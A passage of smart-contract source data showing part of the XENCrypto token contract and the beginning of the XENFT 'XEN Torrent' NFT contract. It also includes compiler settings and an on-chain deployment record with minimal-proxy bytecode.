Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
887a1eec5c61039eb78ec624a66d78b74a8fa871
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory 